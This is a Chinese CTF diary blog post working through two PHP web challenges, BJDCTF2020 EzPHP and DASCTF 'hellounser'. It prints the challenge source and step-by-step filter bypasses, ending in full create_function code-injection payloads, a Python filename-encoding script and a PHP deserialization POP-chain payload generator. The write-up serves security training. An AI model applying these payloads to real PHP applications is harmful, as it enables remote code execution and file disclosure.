锐客网

  1. 首页 > it技术 > >

CTF日记|[BJDCTF2020]EzPHP&DASCTF-sep:hellounser

phpCTF日记

EzPHP 查看源码，然后base32解密一下进入对应文件。
无语的是环境应该是出了问题，一上来就报“fxck”，导致那串代码根本没法绕过。最后破案了，需要把cookie清理一下。

This is a very simple challenge and if you solve it I will give you a flag. Good Luck!
"; if($_SERVER) { if ( preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING']) ) die('You seem to want to do something bad?'); }if (!preg_match('/http|https/i', $_GET['file'])) { if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { $file = $_GET["file"]; echo "Neeeeee! Good Job!
"; } } else die('fxck you! What do you want to do ?!'); if($_REQUEST) { foreach($_REQUEST as $value) { if(preg_match('/[a-zA-Z]/i', $value)) die('fxck you! I hate English!'); } } if (file_get_contents($file) !== 'debu_debu_aqua') die("Aqua is the cutest five-year-old child in the world! Isn't it ?
"); if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){ extract($_GET["flag"]); echo "Very good! you know my password. But what is flag?
"; } else{ die("fxck you! you don't know my password! And you don't know sha1! why you come here!"); }if(preg_match('/^[a-z0-9]*$/isD', $code) || preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { die("
Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); } else { include "flag.php"; $code('', $arg); } ?> This is a very simple challenge and if you solve it I will give you a flag. Good Luck! fxck you! I hate English!//我无语了。。。


$_SERVER[‘QUERY_STRING’]绕过
if($_SERVER) { if ( preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING']) ) die('You seem to want to do something bad?'); }

其中$_SERVER['QUERY_STRING']是用来获取url中？后的值，但并不会对url进行解码，所以可以编码后绕过。就比如后面需要的传参shana,就需要了
比如编码前报错就爆die了：
CTF日记|[BJDCTF2020]EzPHP&DASCTF-sep:hellounser
文章图片

编码后就不会
CTF日记|[BJDCTF2020]EzPHP&DASCTF-sep:hellounser
文章图片

所以第一处绕过是要对preg_match匹配到的关键词进行一个url编码。
preg_match绕过
if (!preg_match('/http|https/i', $_GET['file'])) { if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { $file = $_GET["file"]; echo "Neeeeee! Good Job!
"; } } else die('fxck you! What do you want to do ?!');

先不管外面的file，传参debu为aqua_is_cute%0a即可绕过。
$_request绕过
if($_REQUEST) { foreach($_REQUEST as $value) { if(preg_match('/[a-zA-Z]/i', $value)) die('fxck you! I hate English!'); } }

php中$_REQUEST可以获取以POST方法和GET方法提交的数据
优先级post大于get，所以在传入参数时只需要有一个覆盖就可。例如题中get传参debu，且其值包含英文。这时post一个相同的变量debu，赋值为1，即可绕过。
file_get_contents绕过
if (file_get_contents($file) !== 'debu_debu_aqua') die("Aqua is the cutest five-year-old child in the world! Isn't it ?
");

取一个file的值，并判断其值是否为后面那段文字，直接data伪协议写入一个就行。注意需要url编码。可以看到，没有die出相应的内容，成功绕过。
CTF日记|[BJDCTF2020]EzPHP&DASCTF-sep:hellounser
文章图片

绕过sha1
if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){ extract($_GET["flag"]); echo "Very good! you know my password. But what is flag?
"; } else{ die("fxck you! you don't know my password! And you don't know sha1! why you come here!"); }

sha1对数组进行加密时值为false，即可绕过。shana[]=1&passwd[]=2
CTF日记|[BJDCTF2020]EzPHP&DASCTF-sep:hellounser
文章图片

重头戏
if(preg_match('/^[a-z0-9]*$/isD', $code) || preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { die("
Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); } else { include "flag.php"; $code('', $arg); } ?>

既然代码中是由包含flag.php的，那么我们就用get_defined_vars()来输出所有变量和值。前文中有extract($_GET["flag"]); 可以利用。这个函数将数组键名作为变量名，键值作为变量值。那么当我们传入flag[arg]=phpinfo()时，内容就是arg=phpinfo()。所以变量code和arg是我们能控制的。这里我们可以用create_function来代码注入。
$code=create_function('$a,$b','return $a+b; '); print($code(1,2)); //3 即为： function code($a,$b){ return $a+$b; }//注入： $code=create_function('$a,$b','return $a+b; }phpinfo(); //'); 即为： function code($a,$b){ return $a+$b; } phpinfo(); //}

因此payload就在参数flag上做文章。
flag[code]=create_function&flag[arg]=}var_dump(get_defined_vars()); //

告诉了真实flag位置。
CTF日记|[BJDCTF2020]EzPHP&DASCTF-sep:hellounser
文章图片

用require去包含。
flag[code]=create_function&flag[arg]=}require(rea1fl4g.php); var_dump(get_defined_vars()); //

【CTF日记|[BJDCTF2020]EzPHP&DASCTF-sep:hellounser】还需要绕过.才行
CTF日记|[BJDCTF2020]EzPHP&DASCTF-sep:hellounser
文章图片

这里直接取反构造该文件来绕过.，得到一个假flag。
取反脚本

异或脚本
# 异或构造 payload='rea1fl4g.php' lp=list(payload) flag='' for i in lp: yh = hex(~ord(i)&0xff) flag+=yh print(flag) flag=flag.replace('0x','%') flag+='^' for i in range(len(lp)): flag+='%ff' print(flag)

CTF日记|[BJDCTF2020]EzPHP&DASCTF-sep:hellounser
文章图片

那干脆直接用伪协议来读取试试。
CTF日记|[BJDCTF2020]EzPHP&DASCTF-sep:hellounser
文章图片

成功。第一句解密后即为flag。
CTF日记|[BJDCTF2020]EzPHP&DASCTF-sep:hellounser
文章图片

最终payload
get： ?%64%65%62%75=%61%71%75%61%5F%69%73%5F%63%75%74%65%0a&file=data://text/plain,%64%65%62%75%5F%64%65%62%75%5F%61%71%75%61&%73%68%61%6E%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67[%61%72%67]=}require(~%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%8D%9A%9E%9B%C2%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F ); var_dump(get_defined_vars()); //&%66%6c%61%67[%63%6f%64%65]=create_function post： debu=1&file=2

hellounser DASCTF9月联名浙工大的题。
var; } public function __invoke(){ $this->show(); } } class B{ public $func; public $arg; public function show(){ $func = $this->func; if(preg_match('/^[a-z0-9]*$/isD', $this->func) || preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log/i', $this->arg)) { die('No!No!No!'); } else { include "flag.php"; //There is no code to print flag in flag.php $func('', $this->arg); } } public function __toString(){ $this->show(); return "
"."Nice Job!!"."
"; } } if(isset($_GET['pop'])){ $aaa = unserialize($_GET['pop']); $aaa(); } else{ highlight_file(__FILE__); } ?>

考察pop链利用。之前一篇博客详解过一道pop链的简单题
payload
var; } public function __invoke(){ $this->show(); } }class B{ public $func; public $arg; public function show(){ $func = $this->func; if(preg_match('/^[a-z0-9]*$/isD', $this->func) || preg_match('/fil|cat|more|tail|tac|less|head|nl| tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%| x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high| reverse|flip|rand|scan|chr|local|sess|id|source| arra|head|light|print|echo|read|inc|flag|1f|info| bin|hex|oct|pi|con|rot|input|\.|log/i', $this->arg)) { die('No!No!No!'); } else { include "flag.php"; //There is no code to print flag in flag.php $func('', $this->arg); } }public function __toString(){ $this->show(); return "
"."Nice Job!!"."
"; } } $ta = new A(); $tb = new B(); $tb->func='create_function'; $tb->arg='}require(base64_decode(VHJ1M2ZsYWcucGhw)); var_dump(get_defined_vars()); //'; $ta->var=$tb; echo urlencode(serialize($ta));

    推荐阅读


    上一篇：4自动排版步骤_学会 AI 这个高级用法，自动排版解放双手。

    下一篇：sql|最新系统漏洞--Metinfo SQL注入漏洞